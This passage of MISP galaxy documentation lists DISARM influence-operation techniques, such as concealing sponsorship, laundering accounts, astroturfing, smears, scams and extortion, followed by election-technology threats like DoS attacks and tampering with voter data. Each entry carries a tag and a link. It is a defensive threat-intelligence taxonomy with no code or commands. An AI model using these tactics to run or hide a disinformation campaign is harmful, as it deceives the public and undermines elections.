Distancing reputable individuals from the operation occurs when enlisted individuals, such as celebrities or subject matter experts, actively disengage themselves from operation activities and messaging. Individuals may distance themselves from the operation by deleting old posts or statements, unfollowing operation information assets, or otherwise detaching themselves from the operation's timeline. An influence operation may want reputable individuals to distance themselves from the operation to reduce operation exposure, particularly if the operation aims to remove all evidence.

The tag is: *misp-galaxy:disarm-techniques="Distance Reputable Individuals from Operation"*

Table 1490. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0128.003.md

Launder Information Assets

Laundering occurs when an influence operation acquires control of previously legitimate information assets such as accounts, channels, pages etc. from third parties through sale or exchange and often in contravention of terms of use. Influence operations use laundered assets to reach target audience members from within an existing information community and to complicate attribution.

The tag is: *misp-galaxy:disarm-techniques="Launder Information Assets"*

Table 1491. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0128.004.md

Change Names of Information Assets

Changing names or brand names of information assets such as accounts, channels, pages etc. An operation may change the names or brand names of its assets throughout an operation to avoid detection or alter the names of newly acquired or repurposed assets to fit operational narratives.

The tag is: *misp-galaxy:disarm-techniques="Change Names of Information Assets"*

Table 1492. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0128.005.md

Conceal Operational Activity

Conceal the campaign’s operational activity to avoid takedown and attribution.

The tag is: *misp-galaxy:disarm-techniques="Conceal Operational Activity"*

Table 1493. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.md

Generate Content Unrelated to Narrative

An influence operation may mix its own operation content with legitimate news or external unrelated content to disguise operational objectives, narratives, or existence. For example, an operation may generate "lifestyle" or "cuisine" content alongside regular operation content.

The tag is: *misp-galaxy:disarm-techniques="Generate Content Unrelated to Narrative"*

Table 1494. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.002.md

Break Association with Content

Breaking association with content occurs when an influence operation actively separates itself from its own content. An influence operation may break association with content by unfollowing, unliking, or unsharing its content, removing attribution from its content, or otherwise taking actions that distance the operation from its messaging. An influence operation may break association with its content to complicate attribution or regain credibility for a new operation.

The tag is: *misp-galaxy:disarm-techniques="Break Association with Content"*

Table 1495. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.003.md

Delete URLs

URL deletion occurs when an influence operation completely removes its website registration, rendering the URL inaccessible. An influence operation may delete its URLs to complicate attribution or remove online documentation that the operation ever occurred.

The tag is: *misp-galaxy:disarm-techniques="Delete URLs"*

Table 1496. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.004.md

Coordinate on Encrypted/Closed Networks

Coordinate on encrypted/ closed networks

The tag is: *misp-galaxy:disarm-techniques="Coordinate on Encrypted/Closed Networks"*

Table 1497. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.005.md

Deny Involvement

Without "smoking gun" proof (and even with proof), incident creator can or will deny involvement. This technique also leverages the attacker advantages outlined in "Demand insurmountable proof", specifically the asymmetric disadvantage for truth-tellers in a "firehose of misinformation" environment.

The tag is: *misp-galaxy:disarm-techniques="Deny Involvement"*

Table 1498. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.006.md

Delete Accounts/Account Activity

Deleting accounts and account activity occurs when an influence operation removes its online social media assets, including social media accounts, posts, likes, comments, and other online artefacts. An influence operation may delete its accounts and account activity to complicate attribution or remove online documentation that the operation ever occurred.

The tag is: *misp-galaxy:disarm-techniques="Delete Accounts/Account Activity"*

Table 1499. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.007.md

Redirect URLs

An influence operation may redirect its falsified or typosquatted URLs to legitimate websites to increase the operation’s appearance of legitimacy, complicate attribution, and avoid detection.

The tag is: *misp-galaxy:disarm-techniques="Redirect URLs"*

Table 1500. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.008.md

Remove Post Origins

Removing post origins refers to the elimination of evidence that indicates the initial source of operation content, often to complicate attribution. An influence operation may remove post origins by deleting watermarks, renaming files, or removing embedded links in its content.

The tag is: *misp-galaxy:disarm-techniques="Remove Post Origins"*

Table 1501. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.009.md

Misattribute Activity

Misattributed activity refers to incorrectly attributed operation activity. For example, a state sponsored influence operation may conduct operation activity in a way that mimics another state so that external entities misattribute activity to the incorrect state. An operation may misattribute their activities to complicate attribution, avoid detection, or frame an adversary for negative behaviour.

The tag is: *misp-galaxy:disarm-techniques="Misattribute Activity"*

Table 1502. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0129.010.md

Conceal Infrastructure

Conceal the campaign’s infrastructure to avoid takedown and attribution.

The tag is: *misp-galaxy:disarm-techniques="Conceal Infrastructure"*

Table 1503. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0130.md

Conceal Sponsorship

Concealing sponsorship aims to mislead or obscure the identity of the hidden sponsor behind an operation rather than entity publicly running the operation. Operations that conceal sponsorship may maintain visible falsified groups, news outlets, non-profits, or other organisations, but seek to mislead or obscure the identity sponsoring, funding, or otherwise supporting these entities. Influence operations may use a variety of techniques to mask the location of their social media accounts to complicate attribution and conceal evidence of foreign interference. Operation accounts may set their location to a false place, often the location of the operation's target audience, and post in the region's language

The tag is: *misp-galaxy:disarm-techniques="Conceal Sponsorship"*

Table 1504. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0130.001.md

Utilise Bulletproof Hosting

Hosting refers to services through which storage and computing resources are provided to an individual or organisation for the accommodation and maintenance of one or more websites and related services. Services may include web hosting, file sharing, and email distribution. Bulletproof hosting refers to services provided by an entity, such as a domain hosting or web hosting firm, that allows its customer considerable leniency in use of the service. An influence operation may utilise bulletproof hosting to maintain continuity of service for suspicious, illegal, or disruptive operation activities that stricter hosting services would limit, report, or suspend.

The tag is: *misp-galaxy:disarm-techniques="Utilise Bulletproof Hosting"*

Table 1505. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0130.002.md

Use Shell Organisations

Use Shell Organisations to conceal sponsorship.

The tag is: *misp-galaxy:disarm-techniques="Use Shell Organisations"*

Table 1506. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0130.003.md

Use Cryptocurrency

Use Cryptocurrency to conceal sponsorship. Examples include Bitcoin, Monero, and Etherium.

The tag is: *misp-galaxy:disarm-techniques="Use Cryptocurrency"*

Table 1507. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0130.004.md

Obfuscate Payment

Obfuscate Payment

The tag is: *misp-galaxy:disarm-techniques="Obfuscate Payment"*

Table 1508. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0130.005.md

Exploit TOS/Content Moderation

Exploiting weaknesses in platforms' terms of service and content moderation policies to avoid takedowns and platform actions.

The tag is: *misp-galaxy:disarm-techniques="Exploit TOS/Content Moderation"*

Table 1509. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0131.md

Legacy Web Content

Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it’s hard to remove or unlikely to be removed.

The tag is: *misp-galaxy:disarm-techniques="Legacy Web Content"*

Table 1510. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0131.001.md

Post Borderline Content

Post Borderline Content

The tag is: *misp-galaxy:disarm-techniques="Post Borderline Content"*

Table 1511. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0131.002.md

Measure Performance

A metric used to determine the accomplishment of actions. “Are the actions being executed as planned?”

The tag is: *misp-galaxy:disarm-techniques="Measure Performance"*

Table 1512. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0132.md

People Focused

Measure the performance individuals in achieving campaign goals

The tag is: *misp-galaxy:disarm-techniques="People Focused"*

Table 1513. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0132.001.md

Content Focused

Measure the performance of campaign content

The tag is: *misp-galaxy:disarm-techniques="Content Focused"*

Table 1514. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0132.002.md

View Focused

View Focused

The tag is: *misp-galaxy:disarm-techniques="View Focused"*

Table 1515. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0132.003.md

Measure Effectiveness

A metric used to measure a current system state. “Are we on track to achieve the intended new system state within the planned timescale?”

The tag is: *misp-galaxy:disarm-techniques="Measure Effectiveness"*

Table 1516. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0133.md

Behaviour Changes

Monitor and evaluate behaviour changes from misinformation incidents.

The tag is: *misp-galaxy:disarm-techniques="Behaviour Changes"*

Table 1517. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0133.001.md

Content

Measure current system state with respect to the effectiveness of campaign content.

The tag is: *misp-galaxy:disarm-techniques="Content"*

Table 1518. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0133.002.md

Awareness

Measure current system state with respect to the effectiveness of influencing awareness.

The tag is: *misp-galaxy:disarm-techniques="Awareness"*

Table 1519. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0133.003.md

Knowledge

Measure current system state with respect to the effectiveness of influencing knowledge.

The tag is: *misp-galaxy:disarm-techniques="Knowledge"*

Table 1520. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0133.004.md

Action/Attitude

Measure current system state with respect to the effectiveness of influencing action/attitude.

The tag is: *misp-galaxy:disarm-techniques="Action/Attitude"*

Table 1521. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0133.005.md

Measure Effectiveness Indicators (or KPIs)

Ensuring that Key Performance Indicators are identified and tracked, so that the performance and effectiveness of campaigns, and elements of campaigns, can be measured, during and after their execution.

The tag is: *misp-galaxy:disarm-techniques="Measure Effectiveness Indicators (or KPIs)"*

Table 1522. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0134.md

Message Reach

Monitor and evaluate message reach in misinformation incidents.

The tag is: *misp-galaxy:disarm-techniques="Message Reach"*

Table 1523. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0134.001.md

Social Media Engagement

Monitor and evaluate social media engagement in misinformation incidents.

The tag is: *misp-galaxy:disarm-techniques="Social Media Engagement"*

Table 1524. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0134.002.md

Undermine

Weaken, debilitate, or subvert a target or their actions. An influence operation may be designed to disparage an opponent; sabotage an opponent's systems or processes; compromise an opponent's relationships or support system; impair an opponent's capability; or thwart an opponent's initiative.

The tag is: *misp-galaxy:disarm-techniques="Undermine"*

Table 1525. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.md

Smear

Denigrate, disparage, or discredit an opponent. This is a common tactical objective in political

campaigns with a larger strategic goal. It differs from efforts to harm a target through defamation. If there is no ulterior motive and the sole aim is to cause harm to the target, then choose sub-technique “Defame” of technique “Cause Harm” instead.

The tag is: *misp-galaxy:disarm-techniques="Smear"*

Table 1526. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.001.md

Thwart

Prevent the successful outcome of a policy, operation, or initiative. Actors conduct influence operations to stymie or foil proposals, plans, or courses of action which are not in their interest.

The tag is: *misp-galaxy:disarm-techniques="Thwart"*

Table 1527. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.002.md

Subvert

Sabotage, destroy, or damage a system, process, or relationship. The classic example is the Soviet strategy of “active measures” involving deniable covert activities such as political influence, the use of front organisations, the orchestration of domestic unrest, and the spread of disinformation.

The tag is: *misp-galaxy:disarm-techniques="Subvert"*

Table 1528. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.003.md

Polarise

To cause a target audience to divide into two completely opposing groups. This is a special case of subversion. To divide and conquer is an age-old approach to subverting and overcoming an enemy.

The tag is: *misp-galaxy:disarm-techniques="Polarise"*

Table 1529. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.004.md

Cultivate Support

Grow or maintain the base of support for the actor, ally, or action. This includes hard core recruitment, managing alliances, and generating or maintaining sympathy among a wider audience, including reputation management and public relations. Sub-techniques assume support for actor (self) unless otherwise specified.

The tag is: *misp-galaxy:disarm-techniques="Cultivate Support"*

Table 1530. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.md

Defend Reputaton

Preserve a positive perception in the public's mind following an accusation or adverse event. When accused of a wrongful act, an actor may engage in denial, counter accusations, whataboutism, or conspiracy theories to distract public attention and attempt to maintain a positive image.

The tag is: *misp-galaxy:disarm-techniques="Defend Reputaton"*

Table 1531. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.001.md

Justify Action

To convince others to exonerate you of a perceived wrongdoing. When an actor finds it untenable to deny doing something, they may attempt to exonerate themselves with disinformation which claims the action was reasonable. This is a special case of "Defend Reputation".

The tag is: *misp-galaxy:disarm-techniques="Justify Action"*

Table 1532. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.002.md

Energise Supporters

Raise the morale of those who support the organisation or group. Invigorate constituents with zeal for the mission or activity. Terrorist groups, political movements, and cults may indoctrinate their supporters with ideologies that are based on warped versions of religion or cause harm to others.

The tag is: *misp-galaxy:disarm-techniques="Energise Supporters"*

Table 1533. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.003.md

Boost Reputation

Elevate the estimation of the actor in the public's mind. Improve their image or standing. Public relations professionals use persuasive overt communications to achieve this goal; manipulators use covert disinformation.

The tag is: *misp-galaxy:disarm-techniques="Boost Reputation"*

Table 1534. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.004.md

Cultvate Support for Initiative

Elevate or fortify the public backing for a policy, operation, or idea. Domestic and foreign actors can use artificial means to fabricate or amplify public support for a proposal or action.

The tag is: *misp-galaxy:disarm-techniques="Cultvate Support for Initiative"*

Table 1535. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.005.md

Cultivate Support for Ally

Elevate or fortify the public backing for a partner. Governments may interfere in other countries' elections by covertly favouring a party or candidate aligned with their interests. They may also mount an influence operation to bolster the reputation of an ally under attack.

The tag is: *misp-galaxy:disarm-techniques="Cultivate Support for Ally"*

Table 1536. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.006.md

Recruit Members

Motivate followers to join or subscribe as members of the team. Organisations may mount recruitment drives that use propaganda to entice sympathisers to sign up.

The tag is: *misp-galaxy:disarm-techniques="Recruit Members"*

Table 1537. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.007.md

Increase Prestige

Improve personal standing within a community. Gain fame, approbation, or notoriety. Conspiracy theorists, those with special access, and ideologues can gain prominence in a community by propagating disinformation, leaking confidential documents, or spreading hate.

The tag is: *misp-galaxy:disarm-techniques="Increase Prestige"*

Table 1538. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0136.008.md

Make Money

Profit from disinformation, conspiracy theories, or online harm. In some cases, the sole objective is financial gain, in other cases the objective is both financial and political. Making money may also be a way to sustain a political campaign.

The tag is: *misp-galaxy:disarm-techniques="Make Money"*

Table 1539. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0137.md

Generate Ad Revenue

Earn income from digital advertisements published alongside inauthentic content. Conspiratorial, false, or provocative content drives internet traffic. Content owners earn money from impressions of, or clicks on, or conversions of ads published on their websites, social media profiles, or streaming services, or ads published when their content appears in search engine results. Fraudsters simulate impressions, clicks, and conversions, or they spin up inauthentic sites or social media profiles just to generate ad revenue. Conspiracy theorists and political operators generate ad revenue as a byproduct of their operation or as a means of sustaining their campaign.

The tag is: *misp-galaxy:disarm-techniques="Generate Ad Revenue"*

Table 1540. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0137.001.md

Scam

Defraud a target or trick a target into doing something that benefits the attacker. A typical scam is where a fraudster convinces a target to pay for something without the intention of ever delivering anything in return. Alternatively, the fraudster may promise benefits which never materialise, such as a fake cure. Criminals often exploit a fear or crisis or generate a sense of urgency. They may use deepfakes to impersonate authority figures or individuals in distress.

The tag is: *misp-galaxy:disarm-techniques="Scam"*

Table 1541. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0137.002.md

Raise Funds

Solicit donations for a cause. Popular conspiracy theorists can attract financial contributions from their followers. Fighting back against the establishment is a popular crowdfunding narrative.

The tag is: *misp-galaxy:disarm-techniques="Raise Funds"*

Table 1542. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0137.003.md

Sell Items under False Pretences

Offer products for sale under false pretences. Campaigns may hijack or create causes built on disinformation to sell promotional merchandise. Or charlatans may amplify victims' unfounded fears to sell them items of questionable utility such as supplements or survival gear.

The tag is: *misp-galaxy:disarm-techniques="Sell Items under False Pretences"*

Table 1543. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0137.004.md

Extort

Coerce money or favours from a target by threatening to expose or corrupt information. Ransomware criminals typically demand money. Intelligence agencies demand national secrets. Sexual predators demand favours. The leverage may be critical, sensitive, or embarrassing information.

The tag is: *misp-galaxy:disarm-techniques="Extort"*

Table 1544. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0137.005.md

Manipulate Stocks

Artificially inflate or deflate the price of stocks or other financial instruments and then trade on these to make profit. The most common securities fraud schemes are called "pump and dump" and "poop and scoop".

The tag is: *misp-galaxy:disarm-techniques="Manipulate Stocks"*

Table 1545. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0137.006.md

Motivate to Act

Persuade, impel, or provoke the target to behave in a specific manner favourable to the attacker. Some common behaviours are joining, subscribing, voting, buying, demonstrating, fighting, retreating, resigning, boycotting.

The tag is: *misp-galaxy:disarm-techniques="Motivate to Act"*

Table 1546. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0138.md

Encourage

Inspire, animate, or exhort a target to act. An actor can use propaganda, disinformation, or conspiracy theories to stimulate a target to act in its interest.

The tag is: *misp-galaxy:disarm-techniques="Encourage"*

Table 1547. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0138.001.md

Provoke

Instigate, incite, or arouse a target to act. Social media manipulators exploit moral outrage to propel targets to spread hate, take to the streets to protest, or engage in acts of violence.

The tag is: *misp-galaxy:disarm-techniques="Provoke"*

Table 1548. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0138.002.md

Compel

Force target to take an action or to stop taking an action it has already started. Actors can use the threat of reputational damage alongside military or economic threats to compel a target.

The tag is: *misp-galaxy:disarm-techniques="Compel"*

Table 1549. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0138.003.md

Dissuade from Acting

Discourage, deter, or inhibit the target from actions which would be unfavourable to the attacker. The actor may want the target to refrain from voting, buying, fighting, or supplying.

The tag is: *misp-galaxy:disarm-techniques="Dissuade from Acting"*

Table 1550. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0139.md

Discourage

To make a target disinclined or reluctant to act. Manipulators use disinformation to cause targets to question the utility, legality, or morality of taking an action.

The tag is: *misp-galaxy:disarm-techniques="Discourage"*

Table 1551. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0139.001.md

Silence

Intimidate or incentivise target into remaining silent or prevent target from speaking out. A threat actor may cow a target into silence as a special case of deterrence. Or they may buy the target's silence. Or they may repress or restrict the target's speech.

The tag is: *misp-galaxy:disarm-techniques="Silence"*

Table 1552. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0139.002.md

Deter

Prevent target from taking an action for fear of the consequences. Deterrence occurs in the mind of the target, who fears they will be worse off if they take an action than if they don't. When making threats, aggressors may bluff, feign irrationality, or engage in brinksmanship.

The tag is: *misp-galaxy:disarm-techniques="Deter"*

Table 1553. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0139.003.md

Cause Harm

Persecute, malign, or inflict pain upon a target. The objective of a campaign may be to cause fear or emotional distress in a target. In some cases, harm is instrumental to achieving a primary objective, as in coercion, repression, or intimidation. In other cases, harm may be inflicted for the satisfaction of the perpetrator, as in revenge or sadistic cruelty.

The tag is: *misp-galaxy:disarm-techniques="Cause Harm"*

Table 1554. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0140.md

Defame

Attempt to damage the target's personal reputation by impugning their character. This can range from subtle attempts to misrepresent or insinuate, to obvious attempts to denigrate or disparage, to blatant attempts to malign or vilify. Slander applies to oral expression. Libel applies to written or pictorial material. Defamation is often carried out by online trolls. The sole aim here is to cause harm to the target. If the threat actor uses defamation as a means of undermining the target, then choose sub-technique "Smear" of technique "Undermine" instead.

The tag is: *misp-galaxy:disarm-techniques="Defame"*

Table 1555. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0140.001.md

Intimidate

Coerce, bully, or frighten the target. An influence operation may use intimidation to compel the target to act against their will. Or the goal may be to frighten or even terrify the target into silence or submission. In some cases, the goal is simply to make the victim suffer.

The tag is: *misp-galaxy:disarm-techniques="Intimidate"*

Table 1556. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0140.002.md

Spread Hate

Publish and/or propagate demeaning, derisive, or humiliating content targeting an individual or group of individuals with the intent to cause emotional, psychological, or physical distress. Hate speech can cause harm directly or incite others to harm the target. It often aims to stigmatise the target by singling out immutable characteristics such as colour, race, religion, national or ethnic origin, gender, gender identity, sexual orientation, age, disease, or mental or physical disability. Thus, promoting hatred online may involve racism, antisemitism, Islamophobia, xenophobia, sexism, misogyny, homophobia, transphobia, ageism, ableism, or any combination thereof. Motivations for hate speech range from group preservation to ideological superiority to the unbridled infliction of suffering.

The tag is: *misp-galaxy:disarm-techniques="Spread Hate"*

Table 1557. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0140.003.md

Acquire Compromised Asset

Threat Actors may take over existing assets not owned by them through nefarious means, such as using technical exploits, hacking, purchasing compromised accounts from the dark web, or social engineering.

The tag is: *misp-galaxy:disarm-techniques="Acquire Compromised Asset"*

Table 1558. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0141.md

Acquire Compromised Account

Threat Actors can take over existing users' accounts to distribute campaign content.

The actor may maintain the asset's previous identity to capitalise on the perceived legitimacy its previous owner had cultivated.

The actor may completely rebrand the account to exploit its existing reach, or relying on the account's history to avoid more stringent automated content moderation rules applied to new accounts.

See also [Mitre ATT&CK's T1586 Compromise Accounts](https://attack.mitre.org/techniques/T1586/) for more technical information on how threat actors may achieve this objective.

This Technique was previously called Compromise Legitimate Accounts, and used the ID T0011.

The tag is: *misp-galaxy:disarm-techniques="Acquire Compromised Account"*

Table 1559. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0141.001.md

Acquire Compromised Website

Threat Actors may take over existing websites to publish or amplify inauthentic narratives. This includes the defacement of websites, and cases where websites' personas are maintained to add credence to threat actors' narratives.

See also [Mitre ATT&CK's T1584 Compromise Infrastructure](https://attack.mitre.org/techniques/T1584/) for more technical information on how threat actors may achieve this objective.

The tag is: *misp-galaxy:disarm-techniques="Acquire Compromised Website"*

Table 1560. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0141.002.md

Fabricate Grassroots Movement

This technique, sometimes known as "astroturfing", occurs when an influence operation disguises itself as a grassroots movement or organisation that supports operation narratives.

Astroturfing aims to increase the appearance of popular support for an evolving grassroots movement in contrast to "Utilise Butterfly Attacks", which aims to discredit an existing grassroots movement.

This Technique was previously called Astroturfing, and used the ID T0099.001

The tag is: *misp-galaxy:disarm-techniques="Fabricate Grassroots Movement"*

Table 1561. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0142.md

Election guidelines

Universal Development and Security Guidelines as Applicable to Election Technology..

Election guidelines is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NIS Cooperation Group

Tampering with registrations

Tampering with registrations

The tag is: *misp-galaxy:guidelines="Tampering with registrations"*

Table 1562. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of party/campaign registration, causing them to miss the deadline

DoS or overload of party/campaign registration, causing them to miss the deadline

The tag is: *misp-galaxy:guidelines="DoS or overload of party/campaign registration, causing them to miss the deadline"*

Table 1563. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Fabricated signatures from sponsor

Fabricated signatures from sponsor

The tag is: *misp-galaxy:guidelines="Fabricated signatures from sponsor"*

Table 1564. Table References

Links

https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Identity fraud during voter registration

Identity fraud during voter registration

The tag is: *misp-galaxy:guidelines="Identity fraud during voter registration"*

Table 1565. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Deleting or tampering with voter data

Deleting or tampering with voter data

The tag is: *misp-galaxy:guidelines="Deleting or tampering with voter data"*

Table 1566. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of voter registration system, suppressing voters

DoS or overload of voter registration system, suppressing voters

The tag is: *misp-galaxy:guidelines="DoS or overload of voter registration system, suppressing voters"*

Table 1567. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking candidate laptops or email accounts

Hacking candidate laptops or email accounts

The tag is: *misp-galaxy:guidelines="Hacking candidate laptops or email accounts"*

Table 1568. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking campaign websites (defacement, DoS)

Hacking campaign websites (defacement, DoS)

The tag is: *misp-galaxy:guidelines="Hacking campaign websites (defacement, DoS)"*

Table 1569. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Misconfiguration of a website

Misconfiguration of a website

The tag is: *misp-galaxy:guidelines="Misconfiguration of a website"*

Table 1570. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Leak of confidential information

Leak of confidential information

The tag is: *misp-galaxy:guidelines="Leak of confidential information"*

Table 1571. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking/misconfiguration of government servers, communication networks, or endpoints

Hacking/misconfiguration of government servers, communication networks, or endpoints

The tag is: *misp-galaxy:guidelines="Hacking/misconfiguration of government servers, communication networks, or endpoints"*

Table 1572. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results

Hacking government websites, spreading misinformation on the election process, registered parties/candidates, or results

The tag is: *misp-galaxy:guidelines="Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results"*

Table 1573. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of government websites

DoS or overload of government websites

The tag is: *misp-galaxy:guidelines="DoS or overload of government websites"*

Table 1574. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering or DoS of voting and/or vote confidentiality during or after the elections

Tampering or DoS of voting and/or vote confidentiality during or after the elections

The tag is: *misp-galaxy:guidelines="Tampering or DoS of voting and/or vote confidentiality during or after the elections"*

Table 1575. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Software bug altering results

Software bug altering results

The tag is: *misp-galaxy:guidelines="Software bug altering results"*

Table 1576. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering with logs/journals

Tampering with logs/journals

The tag is: *misp-galaxy:guidelines="Tampering with logs/journals"*

Table 1577. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf
